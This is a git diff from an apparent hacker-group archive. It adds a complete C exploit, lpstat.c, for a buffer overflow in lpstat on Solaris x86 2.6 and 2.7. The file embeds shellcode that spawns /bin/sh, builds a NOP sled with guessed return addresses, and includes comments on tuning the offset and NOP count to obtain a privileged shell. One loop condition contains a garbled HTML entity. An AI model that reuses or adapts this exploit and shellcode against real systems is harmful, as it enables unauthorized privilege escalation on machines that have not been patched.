initial push of all stuff :)

[oweals/thc-archive.git] / Exploits / lpstat.c

diff --git a/Exploits/lpstat.c b/Exploits/lpstat.c
new file mode 100644 (file)
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+++ b/Exploits/lpstat.c
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+/*
+ * lpstat sploit for solaris x86 2.6 and 2.7 
+ * by plasmoid/deep/thc <plasmoid@thc.org> (c) 1999
+ * supported by insected and wilkins
+ *
+ * THC - The Hacker's Choice
+ */
+
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+char shell[] =
+    "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
+    "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
+    "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
+    "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
+    "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
+    "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
+
+const int buffersize = 1100;
+const char x86_nop = 0x90;
+long nop, esp;
+long offset = 0;
+char buffer[2000];
+
+long get_esp()
+{
+    __asm__("movl %esp,%eax");
+}
+
+int main(int argc, char *argv[])
+{
+    int i;
+
+    /* you shouldn't edit the offset, we run with
+       800 nops in 1100 bytes buffer, one of those
+       nops should be hit */
+
+    if (argc > 1)
+       offset = strtol(argv[1], NULL, 0);
+
+    /* if you don't succeed, modify the nop count,
+       the standart value of 801 bybtes is quite
+       strange enuff */
+
+    if (argc > 2)
+       nop = strtoul(argv[2], NULL, 0);
+    else
+       nop = 801;
+
+    esp = get_esp();
+
+    memset(buffer, x86_nop, buffersize);
+    memcpy(buffer + nop, shell, strlen(shell));
+    for (i = nop + strlen(shell); i & lt; buffersize - 4; i += 4)
+       *((int *) &buffer[i]) = esp + offset;
+
+    execl("/usr/bin/lpstat", "lpstat", "-c", buffer, NULL);
+
+    printf("exec failed!\n");
+    return 0;
+}